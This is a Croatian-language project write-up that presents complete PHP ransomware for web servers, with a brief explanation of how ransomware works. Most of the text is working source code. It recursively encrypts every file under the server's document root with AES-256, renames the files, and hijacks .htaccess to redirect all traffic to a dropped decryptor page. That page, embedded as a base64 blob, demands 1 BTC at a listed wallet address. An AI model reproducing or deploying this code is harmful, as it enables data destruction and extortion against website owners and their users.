Ransomware za bazu podataka
Izradio: Ivan Šincek
Sadržaj |
Uvod
Ransomware je tip malicioznog programskog koda iz područja kriptovirologije koji prijeti korisnicima i poduzećima da će javno objaviti njihove osjetljive podatke ili da će nastaviti blokirati pristup istim podacima ako nije tražena otkupnina plaćena. Dok amaterski ransomware u većini slučajeva zabrani pristup podacima, a kojeg je vrlo lako povratiti, napredni malware koristi tehnike poput kriptoviralne iznude, gdje se svaka datoteka kriptira posebno, pri čemu ona postaje beskorisna, te zahtijeva otkupninu da se one povrate u prvobitni oblik. U kvalitetno dizajniranom kriptoviralnom napadu iznude, vraćanje podataka u prvobitni oblik bez ključa za dešifriranje je gotovo nemoguće – isto tako u napadu se koriste digitalne valute poput Ukash-a i Bitcoin-a za plaćanje otkupnine, pri čemu je gotovo nemoguće uči u trag napadačima.
Pokretanje malicioznog koda
Ransomware napadi se najčešće prenose u obliku trojanskog konja, pri čemu se maliciozni kod prikazuje korisniku kao legitima datoteka koju korisnik preuzme na prijevaru ili neki trik te pokrene. Najčešći medij prijenosa je email. Međutim napredni ransomware-i mogu biti i ukomponirani u druge maliciozne kodove poput crva (npr. "WannaCry") te mogu putovati samostalno kroz mrežu bez interakcije korisnika.
U ovom projektu maliciozni kod ransomware-a nalazi se unutar jedne PHP datoteke koja se može na razne načine prenijeti na server, a njeno izvršenje je ručno, što znači da korisnik mora sam posjetiti tu PHP skriptu kako bi se maliciozni kod izvršio.
Maliciozni kod
Izvršavanje enkripcije i dekripcije provodi se tako da se skeniraju svi direktoriji, odnosno datoteke, unutar samo root direktorija poslužitelja rekurzivno. Postupak enkripcije je takav da se čita sadržaj datoteke i preko matematičkog algoritma izračunava kriptirani (nerazumljivi) sadržaj na temelju učitanog razumljivog sadržaja. Nakon enkripcije sadržaja preimenuje se naziv datoteke nasumično generiranim nizom znakova, a pravo ime datoteke se zapiše unutar samog kriptografskog sadržaja kako bi se kasnije moglo povratiti. Postupak dekripcije je sličan kao i postupak enkripcije, učitava se nerazumljiv sadržaj te se obrnutim matematičkim postupkom iz nerazumljivog sadržaja izračunava razumljiv (prvobitan) sadržaj. Te se ime datoteke preimenuje stvarnim imenom pohranjenim unutar kriptografskog sadržaja.
Prilikom kriptiranja, ako unutar root direktorija poslužitelja postoji .htaccess datoteka ona se kriptira i preimenuje, te se stvara vlastita maliciozna .htaccess datoteka koja sav promet preusmjerava na novo generiranu datoteku "get_rekt.php" koja služi za dekripciju i sadrži sve potrebne podatke o plaćanju otkupnine. Nakon uspješnog plaćanja otkupnine, odnosno unosa ispravnog ključa za dešifriranje, maliciozna .htaccesss datoteke zajedno s datotekom za dekripciju se briše te se vraća prvobitna .htaccess datoteka, a zatim i sve ostale datoteke.
Ransomware enkripcija
<?php class RansomwareEncrypt { private function htaccessEncrypt() { if (file_exists($_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . '.htaccess')) { rename($_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . '.htaccess', $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . '.get_rekt'); } file_put_contents( $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . 'get_rekt.php', base64_decode(' PD9waHANCmNsYXNzIFJhbnNvbXdhcmVEZWNyeXB0IHsNCglwcml2YXRlIGZ1bmN0aW9uIGh0YWNj ZXNzRGVjcnlwdCgpIHsNCgkJdW5saW5rKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiBESVJF Q1RPUllfU0VQQVJBVE9SIC4gJy5odGFjY2VzcycpOw0KCQl1bmxpbmsoJF9TRVJWRVJbJ0RPQ1VN RU5UX1JPT1QnXSAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnZ2V0X3Jla3QucGhwJyk7DQoJCWlm IChmaWxlX2V4aXN0cygkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gRElSRUNUT1JZX1NFUEFS QVRPUiAuICcuZ2V0X3Jla3QnKSkgew0KCQkJcmVuYW1lKCRfU0VSVkVSWydET0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YW1lPSJzdWJtaXQi IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkRlY3J5cHQiPg0KCQkJCTwvZm9ybT4NCgkJCTwvZGl2Pg0K CQk8L2Rpdj4NCgk8L2JvZHk+DQo8L2h0bWw+ ') ); file_put_contents($_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . '.htaccess', "DirectoryIndex get_rekt.php\nErrorDocument 404 get_rekt.php"); } private function encryptFile($file, $key) { if ($file != $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . '.htaccess' && $file != $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . 'get_rekt.php') { $text = file_get_contents($file); $key = hash('sha256', $key); $iv = substr(hash('sha256', $key), 0, 16); $encryptedText = base64_encode((openssl_encrypt($file . '<fileName>' . $text, 'AES-256-CBC', $key, 0, $iv))); file_put_contents($file, $encryptedText); rename($file, pathinfo($file)['dirname'] . DIRECTORY_SEPARATOR . substr($encryptedText, 0, 128) . substr($encryptedText, 0, 3)); } } static function encrypt($dir, $key, $htaccess = false) { if ($htaccess) { self::htaccessEncrypt(); } $files = array_diff(scandir($dir), array('.', '..')); foreach ($files as $file) { if (is_dir($dir . DIRECTORY_SEPARATOR . $file)) { self::encrypt($dir . DIRECTORY_SEPARATOR . $file, $key); } else { self::encryptFile($dir . DIRECTORY_SEPARATOR . $file, $key); } } } } $errorMessages = array( 'key' => '' ); if (isset($_SERVER['REQUEST_METHOD']) && strtolower($_SERVER['REQUEST_METHOD']) === 'post') { if (isset($_POST['submit']) && isset($_POST['key'])) { $parameters = array( 'key' => trim($_POST['key']) ); $error = false; if (mb_strlen($parameters['key']) < 1) { $errorMessages['key'] = 'Please enter encryption key'; $error = true; } if (!$error) { RansomwareEncrypt::encrypt($_SERVER['DOCUMENT_ROOT'], $parameters['key'], true); header('Location: /'); exit(); } } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Ransomware</title> <meta name="description" content=""> <meta name="keywords" content=""> <meta name="author" content="Ivan Šincek"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style> html { height: 100%; } body { background-color: #262626; display: flex; flex-direction: column; height: inherit; margin: 0; color: #FFF; font-family: Arial, Helvetica, sans-serif; font-size: 1em; font-weight: 400; text-align: left; } .form { display: flex; flex-direction: column; align-items: center; justify-content: center; flex: 1 0 auto; padding: .5em; } .form .layout { background-color: #DCDCDC; padding: 1.5em; width: 24em; color: #000; border: .07em solid #000; } .form .layout header h1 { margin: 0 0 .5em 0; font-size: 2.6em; font-weight: 400; text-align: center; } .form .layout form { display: flex; flex-direction: column; } .form .layout form label { margin: 0 0 .1em; } .form .layout form input { -webkit-appearance: none; margin: 0; padding: .2em .4em; font-family: 'Armata', sans-serif; font-size: 1em; border: .07em solid #9D2A00; -webkit-border-radius: 0; } .form .layout form input[type="submit"] { background-color: #FF4500; color: #FFF; cursor: pointer; transition: background-color 220ms linear; } .form .layout form input[type="submit"]:hover { background-color: #D83A00; transition: background-color 220ms linear; } .form .layout form .error { margin: 0 0 1em; color: #9D2A00; font-size: .8em; } .form .layout form .error:not(:empty) { margin: .2em 0 1em; } </style> </head> <body> <div class="form"> <div class="layout"> <header> <h1>Ransomware</h1> </header> <form method="post" action=""> <label for="password">Encryption Key</label> <input name="key" id="key" type="text" spellcheck="false" autofocus="autofocus"> <p class="error"><?php echo $errorMessages['key']; ?></p> <input name="submit" type="submit" value="Encrypt"> </form> </div> </div> </body> </html>
Ransomware dekripcija
<?php class RansomwareDecrypt { private function htaccessDecrypt() { unlink($_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . '.htaccess'); unlink($_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . 'get_rekt.php'); if (file_exists($_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . '.get_rekt')) { rename($_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . '.get_rekt', $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . '.htaccess'); } } private function decryptFile($file, $key) { if ($file != $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . '.htaccess' && $file != $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . 'get_rekt.php') { $text = base64_decode(file_get_contents($file)); $key = hash('sha256', $key); $iv = substr(hash('sha256', $key), 0, 16); $decryptedText = openssl_decrypt($text, 'AES-256-CBC', $key, 0, $iv); $position = strpos($decryptedText, '<fileName>'); $fileName = substr($decryptedText, 0, $position); $decryptedText = substr($decryptedText, $position + strlen('<fileName>')); file_put_contents($file, $decryptedText); rename($file, $fileName); } } static function decrypt($dir, $key, $htaccess = false) { $files = array_diff(scandir($dir), array('.', '..')); foreach ($files as $file) { if (is_dir($dir . DIRECTORY_SEPARATOR . $file)) { self::decrypt($dir . DIRECTORY_SEPARATOR . $file, $key); } else { self::decryptFile($dir . DIRECTORY_SEPARATOR . $file, $key); } } if ($htaccess) { self::htaccessDecrypt(); } } } $errorMessages = array( 'key' => '' ); if (isset($_SERVER['REQUEST_METHOD']) && strtolower($_SERVER['REQUEST_METHOD']) === 'post') { if (isset($_POST['submit']) && isset($_POST['key'])) { $parameters = array( 'key' => trim($_POST['key']) ); $error = false; if (mb_strlen($parameters['key']) < 1) { $errorMessages['key'] = 'Please enter decryption key'; $error = true; } if (!$error) { RansomwareDecrypt::decrypt($_SERVER['DOCUMENT_ROOT'], $parameters['key'], true); header('Location: /'); exit(); } } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Ransomware</title> <meta name="description" content=""> <meta name="keywords" content=""> <meta name="author" content="Ivan Šincek"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style> html { height: 100%; } body { background-color: #262626; display: flex; flex-direction: column; height: inherit; margin: 0; color: #FFF; font-family: Arial, Helvetica, sans-serif; font-size: 1em; font-weight: 400; text-align: left; } .form { display: flex; flex-direction: column; align-items: center; justify-content: center; flex: 1 0 auto; padding: .5em; } .form .layout { background-color: #DCDCDC; padding: 1.5em; width: 24em; color: #000; border: .07em solid #000; } .form .layout header h1 { margin: 0 0 .5em 0; font-size: 2.6em; font-weight: 400; text-align: center; } .form .layout form { display: flex; flex-direction: column; } .form .layout form label { margin: 0 0 .1em; } .form .layout form input { -webkit-appearance: none; margin: 0; padding: .2em .4em; font-family: 'Armata', sans-serif; font-size: 1em; border: .07em solid #9D2A00; -webkit-border-radius: 0; } .form .layout form input[type="submit"] { background-color: #FF4500; color: #FFF; cursor: pointer; transition: background-color 220ms linear; } .form .layout form input[type="submit"]:hover { background-color: #D83A00; transition: background-color 220ms linear; } .form .layout form .error { margin: 0 0 1em; color: #9D2A00; font-size: .8em; } .form .layout form .error:not(:empty) { margin: .2em 0 1em; } .form .pay { background-color: rgba(0, 0, 0, .7); display: flex; flex-direction: column; align-items: center; position: absolute; bottom: 0; left: 0; padding: .2em; width: 225px; } .form .pay img { margin: 0 0 .2em; width: inherit; } .form .pay p { margin: 0; color: #FFF; } </style> </head> <body> <div class="form"> <div class="pay"> <img src="https://chart.googleapis.com/chart?chs=225x225&chld=L|2&cht=qr&chl=bitcoin:1BrZM6T7G9RN8vbabnfXu4M6Lpgztq6Y14?amount=1" alt="1BrZM6T7G9RN8vbabnfXu4M6Lpgztq6Y14"> <p href="">Pay 1 BTC!</p> </div> <div class="layout"> <header> <h1>Ransomware</h1> </header> <form method="post" action=""> <label for="password">Decryption Key</label> <input name="key" id="key" type="text" spellcheck="false" autofocus="autofocus"> <p class="error"><?php echo $errorMessages['key']; ?></p> <input name="submit" type="submit" value="Decrypt"> </form> </div> </div> </body> </html>
Literatura
Ransomware. Dostupno 24.1.2018. s https://en.wikipedia.org/wiki/Ransomware.